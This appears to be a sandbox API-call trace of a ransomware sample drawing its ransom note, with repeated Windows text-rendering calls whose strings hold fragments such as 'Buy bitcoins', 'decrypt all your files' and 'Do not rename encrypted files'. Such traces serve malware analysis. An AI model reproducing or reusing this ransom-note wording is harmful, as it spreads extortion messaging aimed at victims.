[0103.706] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0103.706] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.706] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.706] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.706] _CIatan2 () returned 0x20
[0103.706] _CIatan2 () returned 0x20
[0103.706] ExtTextOutW (hdc=0x90101e7, x=343, y=49, options=0x4, lprect=0x1c8390, lpString="can-i-buy-bitcoins/ guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x3, lpDx=0x1c83c8) returned 1
[0103.706] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.706] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.707] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.707] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0103.707] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.707] CreatePen (iStyle=0, cWidth=0, color=0x2cc6600) returned 0x83001d4
[0103.707] SelectObject (hdc=0x90101e7, h=0x83001d4) returned 0x1b00016
[0103.707] MoveToEx (in: hdc=0x90101e7, x=343, y=50, lppt=0x0 | out: lppt=0x0) returned 1
[0103.707] LineTo (hdc=0x90101e7, x=366, y=50) returned 1
[0103.707] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x83001d4
[0103.707] DeleteObject (ho=0x83001d4) returned 1
[0103.707] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.707] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0103.707] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.707] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.707] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.707] _CIatan2 () returned 0x20
[0103.707] _CIatan2 () returned 0x20
[0103.707] ExtTextOutW (hdc=0x90101e7, x=366, y=49, options=0x4, lprect=0x1c8390, lpString="-i-buy-bitcoins/ guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c83c8) returned 1
[0103.707] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.707] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.708] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.708] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0103.708] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.708] CreatePen (iStyle=0, cWidth=0, color=0x2cc6600) returned 0x63001e3
[0103.708] SelectObject (hdc=0x90101e7, h=0x63001e3) returned 0x1b00016
[0103.708] MoveToEx (in: hdc=0x90101e7, x=366, y=50, lppt=0x0 | out: lppt=0x0) returned 1
[0103.708] LineTo (hdc=0x90101e7, x=371, y=50) returned 1
[0103.708] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x63001e3
[0103.708] DeleteObject (ho=0x63001e3) returned 1
[0103.708] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.708] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0103.708] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.708] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.708] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.708] _CIatan2 () returned 0x20
[0103.708] _CIatan2 () returned 0x20
[0103.708] ExtTextOutW (hdc=0x90101e7, x=371, y=49, options=0x4, lprect=0x1c8390, lpString="i-buy-bitcoins/ guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c83c8) returned 1
[0103.708] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.708] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.708] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.708] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0103.708] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.709] CreatePen (iStyle=0, cWidth=0, color=0x2cc6600) returned 0x93001d4
[0103.709] SelectObject (hdc=0x90101e7, h=0x93001d4) returned 0x1b00016
[0103.709] MoveToEx (in: hdc=0x90101e7, x=371, y=50, lppt=0x0 | out: lppt=0x0) returned 1
[0103.709] LineTo (hdc=0x90101e7, x=373, y=50) returned 1
[0103.709] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x93001d4
[0103.709] DeleteObject (ho=0x93001d4) returned 1
[0103.709] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.709] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0103.709] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.709] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.709] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.709] _CIatan2 () returned 0x20
[0103.709] _CIatan2 () returned 0x20
[0103.709] ExtTextOutW (hdc=0x90101e7, x=373, y=49, options=0x4, lprect=0x1c8390, lpString="-buy-bitcoins/ guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c83c8) returned 1
[0103.709] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.709] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.709] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.709] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0103.709] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.709] CreatePen (iStyle=0, cWidth=0, color=0x2cc6600) returned 0x73001e3
[0103.709] SelectObject (hdc=0x90101e7, h=0x73001e3) returned 0x1b00016
[0103.710] MoveToEx (in: hdc=0x90101e7, x=373, y=50, lppt=0x0 | out: lppt=0x0) returned 1
[0103.710] LineTo (hdc=0x90101e7, x=378, y=50) returned 1
[0103.710] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x73001e3
[0103.710] DeleteObject (ho=0x73001e3) returned 1
[0103.710] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.710] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0103.710] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.710] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.710] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.710] _CIatan2 () returned 0x20
[0103.710] _CIatan2 () returned 0x20
[0103.710] ExtTextOutW (hdc=0x90101e7, x=378, y=49, options=0x4, lprect=0x1c8390, lpString="buy-bitcoins/ guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x3, lpDx=0x1c83c8) returned 1
[0103.710] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.710] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.710] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.710] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0103.710] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.710] CreatePen (iStyle=0, cWidth=0, color=0x2cc6600) returned 0xa3001d4
[0103.710] SelectObject (hdc=0x90101e7, h=0xa3001d4) returned 0x1b00016
[0103.710] MoveToEx (in: hdc=0x90101e7, x=378, y=50, lppt=0x0 | out: lppt=0x0) returned 1
[0103.710] LineTo (hdc=0x90101e7, x=402, y=50) returned 1
[0103.710] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0xa3001d4
[0103.710] DeleteObject (ho=0xa3001d4) returned 1
[0103.711] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.711] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0103.711] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.711] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.711] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.711] _CIatan2 () returned 0x20
[0103.711] _CIatan2 () returned 0x20
[0103.711] ExtTextOutW (hdc=0x90101e7, x=402, y=49, options=0x4, lprect=0x1c8390, lpString="-bitcoins/ guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c83c8) returned 1
[0103.711] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.711] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.711] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.711] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0103.711] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.711] CreatePen (iStyle=0, cWidth=0, color=0x2cc6600) returned 0x83001e3
[0103.711] SelectObject (hdc=0x90101e7, h=0x83001e3) returned 0x1b00016
[0103.711] MoveToEx (in: hdc=0x90101e7, x=402, y=50, lppt=0x0 | out: lppt=0x0) returned 1
[0103.711] LineTo (hdc=0x90101e7, x=407, y=50) returned 1
[0103.711] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x83001e3
[0103.711] DeleteObject (ho=0x83001e3) returned 1
[0103.711] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.711] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0103.711] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.711] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.711] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.711] _CIatan2 () returned 0x20
[0103.711] _CIatan2 () returned 0x20
[0103.711] ExtTextOutW (hdc=0x90101e7, x=407, y=49, options=0x4, lprect=0x1c8390, lpString="bitcoins/ guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x9, lpDx=0x1c83c8) returned 1
[0103.712] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.712] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.712] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.712] SetTextColor (hdc=0x90101e7, color=0x2cc6600) returned 0x2cc6600
[0103.712] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.712] CreatePen (iStyle=0, cWidth=0, color=0x2cc6600) returned 0xb3001d4
[0103.712] SelectObject (hdc=0x90101e7, h=0xb3001d4) returned 0x1b00016
[0103.712] MoveToEx (in: hdc=0x90101e7, x=407, y=50, lppt=0x0 | out: lppt=0x0) returned 1
[0103.712] LineTo (hdc=0x90101e7, x=460, y=50) returned 1
[0103.712] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0xb3001d4
[0103.712] DeleteObject (ho=0xb3001d4) returned 1
[0103.712] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.712] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2cc6600
[0103.712] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.712] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.712] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.713] _CIatan2 () returned 0x20
[0103.713] _CIatan2 () returned 0x20
[0103.713] ExtTextOutW (hdc=0x90101e7, x=460, y=49, options=0x4, lprect=0x1c8390, lpString=" guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c83c8) returned 1
[0103.713] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.713] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.713] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.713] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.713] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.713] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.713] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.713] _CIatan2 () returned 0x20
[0103.713] _CIatan2 () returned 0x20
[0103.713] ExtTextOutW (hdc=0x90101e7, x=465, y=49, options=0x4, lprect=0x1c8390, lpString=" ", c=0x1, lpDx=0x1c83c8) returned 1
[0103.713] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.713] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.713] LsDestroyLine () returned 0x0
[0103.713] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.713] LsSetDoc () returned 0x0
[0103.713] LsCreateLine () returned 0x0
[0103.713] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.714] LsDisplayLine () returned 0x0
[0103.714] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.714] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.714] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.714] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.714] LsDestroyLine () returned 0x0
[0103.714] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.714] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.715] LsSetDoc () returned 0x0
[0103.715] LsCreateLine () returned 0x0
[0103.715] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.715] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc340
[0103.715] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4baaf8
[0103.715] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.715] LsdnFinishRegular () returned 0x0
[0103.715] LsDisplayLine () returned 0x0
[0103.716] LsDestroyLine () returned 0x0
[0103.716] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc340 | out: hHeap=0x450000) returned 1
[0103.716] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.716] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.716] LsSetDoc () returned 0x0
[0103.716] LsCreateLine () returned 0x0
[0103.716] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.716] LsQueryLineDup () returned 0x0
[0103.716] LsQueryLineCpPpoint () returned 0x0
[0103.717] LsDisplayLine () returned 0x0
[0103.717] SelectObject (hdc=0x90101e7, h=0x30a01fd) returned 0x30a01ff
[0103.717] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.717] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.717] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.717] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.717] _CIsqrt () returned 0x3f1a027f
[0103.717] _CIsqrt () returned 0x3f1a027f
[0103.717] _CIatan2 () returned 0x20
[0103.717] _CIatan2 () returned 0x20
[0103.717] ExtTextOutA (hdc=0x90101e7, x=46, y=149, options=0x4, lprect=0x1c8334, lpString="l", c=0x1, lpDx=0x1c8378) returned 1
[0103.717] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.717] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.717] LsDestroyLine () returned 0x0
[0103.717] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.718] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.718] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2cd0 | out: hHeap=0x450000) returned 1
[0103.718] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bab10 | out: hHeap=0x450000) returned 1
[0103.718] LsSetDoc () returned 0x0
[0103.718] LsCreateLine () returned 0x0
[0103.718] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.719] LsDisplayLine () returned 0x0
[0103.719] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01fd
[0103.719] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.719] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.719] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.719] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.719] _CIatan2 () returned 0x20
[0103.719] _CIatan2 () returned 0x20
[0103.719] ExtTextOutW (hdc=0x90101e7, x=62, y=149, options=0x4, lprect=0x1c8498, lpString="Do not rename encrypted files tion/how-can-i-buy-bitcoins/ guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1d, lpDx=0x1c84d0) returned 1
[0103.719] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.719] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.719] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.719] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.719] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.719] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.719] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.719] _CIatan2 () returned 0x20
[0103.719] _CIatan2 () returned 0x20
[0103.719] ExtTextOutW (hdc=0x90101e7, x=260, y=149, options=0x4, lprect=0x1c8498, lpString=" tion/how-can-i-buy-bitcoins/ guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.719] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.719] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.719] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.720] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.720] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.720] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.720] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.720] _CIatan2 () returned 0x20
[0103.720] _CIatan2 () returned 0x20
[0103.720] ExtTextOutW (hdc=0x90101e7, x=265, y=149, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.720] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.720] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.720] LsDestroyLine () returned 0x0
[0103.720] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.720] SelectObject (hdc=0x90101e7, h=0x18a002e) returned 0x30a01ff
[0103.720] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.720] LsDestroyContext () returned 0x0
[0103.720] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4972e0 | out: hHeap=0x450000) returned 1
[0103.720] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6948 | out: hHeap=0x450000) returned 1
[0103.720] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5029b0 | out: hHeap=0x450000) returned 1
[0103.720] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6978 | out: hHeap=0x450000) returned 1
[0103.720] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501328 | out: hHeap=0x450000) returned 1
[0103.720] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5011c0 | out: hHeap=0x450000) returned 1
[0103.721] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4c7d10 | out: hHeap=0x450000) returned 1
[0103.721] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x503cf0 | out: hHeap=0x450000) returned 1
[0103.721] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5011e8 | out: hHeap=0x450000) returned 1
[0103.721] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501210 | out: hHeap=0x450000) returned 1
[0103.721] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x501378 | out: hHeap=0x450000) returned 1
[0103.721] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5013a0 | out: hHeap=0x450000) returned 1
[0103.721] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5004d0 | out: hHeap=0x450000) returned 1
[0103.721] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd820 | out: hHeap=0x450000) returned 1
[0103.721] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd840 | out: hHeap=0x450000) returned 1
[0103.721] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd830 | out: hHeap=0x450000) returned 1
[0103.721] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bd810 | out: hHeap=0x450000) returned 1
[0103.721] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48b598 | out: hHeap=0x450000) returned 1
[0103.721] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4954a0 | out: hHeap=0x450000) returned 1
[0103.721] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f1790 | out: hHeap=0x450000) returned 1
[0103.721] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e1f50 | out: hHeap=0x450000) returned 1
[0103.721] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x500fc8 | out: hHeap=0x450000) returned 1
[0103.721] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x502ca0 | out: hHeap=0x450000) returned 1
[0103.721] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x502d70 | out: hHeap=0x450000) returned 1
[0103.721] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x462cf0 | out: hHeap=0x450000) returned 1
[0103.722] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc160 | out: hHeap=0x450000) returned 1
[0103.722] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x509210 | out: hHeap=0x450000) returned 1
[0103.722] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e08 | out: hHeap=0x450000) returned 1
[0103.722] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508fa8 | out: hHeap=0x450000) returned 1
[0103.722] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x509078 | out: hHeap=0x450000) returned 1
[0103.722] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497f80 | out: hHeap=0x450000) returned 1
[0103.722] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f2fe8 | out: hHeap=0x450000) returned 1
[0103.722] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x5008d8 | out: hHeap=0x450000) returned 1
[0103.722] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f1678 | out: hHeap=0x450000) returned 1
[0103.722] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x503268 | out: hHeap=0x450000) returned 1
[0103.722] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.722] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.722] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.722] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e0ec8 | out: hHeap=0x450000) returned 1
[0103.722] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4baaf8 | out: hHeap=0x450000) returned 1
[0103.722] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.722] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.722] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.722] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.722] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.722] IntersectRect (in: lprcDst=0x1c9514, lprcSrc1=0x1c9514, lprcSrc2=0x1c9424 | out: lprcDst=0x1c9514) returned 1
[0103.722] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.723] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9534 | out: lprcDst=0x4967b8) returned 1
[0103.723] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9554 | out: lprcDst=0x4967b8) returned 1
[0103.723] IntersectRect (in: lprcDst=0x1c9054, lprcSrc1=0x1c9054, lprcSrc2=0x1c8f08 | out: lprcDst=0x1c9054) returned 1
[0103.723] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.723] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9054 | out: lprcDst=0x4967b8) returned 1
[0103.723] IntersectRect (in: lprcDst=0x1c8fb8, lprcSrc1=0x1c8fb8, lprcSrc2=0x4967c8 | out: lprcDst=0x1c8fb8) returned 1
[0103.723] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c8f6c | out: lprcDst=0x4967b8) returned 1
[0103.723] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0103.723] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.723] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x0
[0103.723] LsSetDoc () returned 0x0
[0103.723] LsCreateLine () returned 0x0
[0103.723] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.726] LsDisplayLine () returned 0x0
[0103.726] SelectObject (hdc=0x90101e7, h=0x60a0200) returned 0x18a002e
[0103.726] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.726] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.726] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.726] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.726] _CIatan2 () returned 0x20
[0103.726] _CIatan2 () returned 0x20
[0103.726] ExtTextOutW (hdc=0x90101e7, x=32, y=121, options=0x4, lprect=0x1c8160, lpString="Attention!ame encrypted files tion/how-can-i-buy-bitcoins/ guide here: r, click 'Buy bitcoins', and select the seller by payment method and price. decrypt all your files. ", c=0xa, lpDx=0x1c8198) returned 1
[0103.726] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.726] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.726] LsDestroyLine () returned 0x0
[0103.726] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.726] SelectObject (hdc=0x90101e7, h=0x18a002e) returned 0x60a0200
[0103.726] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.727] BitBlt (hdc=0x330107bc, x=0, y=602, cx=1324, cy=150, hdcSrc=0x90101e7, x1=0, y1=0, rop=0xcc0020) returned 1
[0103.727] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49d7b8 | out: hHeap=0x450000) returned 1
[0103.727] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x44) returned 0x49d7b8
